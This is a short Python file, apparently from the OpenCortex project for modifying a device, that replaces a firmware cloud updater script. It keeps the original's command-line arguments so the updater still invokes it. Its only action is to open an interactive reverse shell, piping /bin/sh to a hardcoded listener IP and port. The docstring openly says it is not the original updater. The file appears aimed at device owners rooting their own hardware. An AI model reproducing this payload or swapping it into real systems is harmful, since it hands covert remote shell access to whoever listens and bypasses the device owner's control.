aboutsummaryrefslogtreecommitdiffhomepage
path: root/cloud_updater_custom.py
blob: ea708294c6607ba4e54bc6833e42e64ffdeef763 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#!/usr/bin/env python

from __future__ import print_function

import argparse
import sys
from os import dup2
from subprocess import call
import socket

__doc__ = """ This script is not the original cloud_updater.py and is part of the OpenCortex project, proceed with caution!
            """
            
# Enter your ip and desired port of the pc you are listening from
YOUR_IP = "192.168.1.178"
YOUR_PORT = 4444

# Keep the original arguments to avoid having to edit the updater bash script.
# This might work without them but I assume not.
# Only the --dir and --updatermode args will be used for this
parser = argparse.ArgumentParser("API http requests with request signing.", epilog=__doc__)
parser.add_argument("--host", help="", required=True)
parser.add_argument("--stage", help="", required=True)
parser.add_argument("--endpoint", help="", required=True)
parser.add_argument("--firmwareType", help="", required=True)
parser.add_argument("--firmwareVersion", help="", required=True)
parser.add_argument("--dir", help="Directory where to download files", required=True)
parser.add_argument("--fileName", help="")
parser.add_argument("--serialnumber", help="")
parser.add_argument("--updatermode", help="Updater Mode [check | download]")
args = parser.parse_args()

def reverse_shell(ip, port):
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip, port)) 
    dup2(s.fileno(),0) 
    dup2(s.fileno(),1) 
    dup2(s.fileno(),2) 
    call(["/bin/sh","-i"])

if __name__ == "__main__":

    reverse_shell(YOUR_IP, YOUR_PORT)

    sys.exit(2)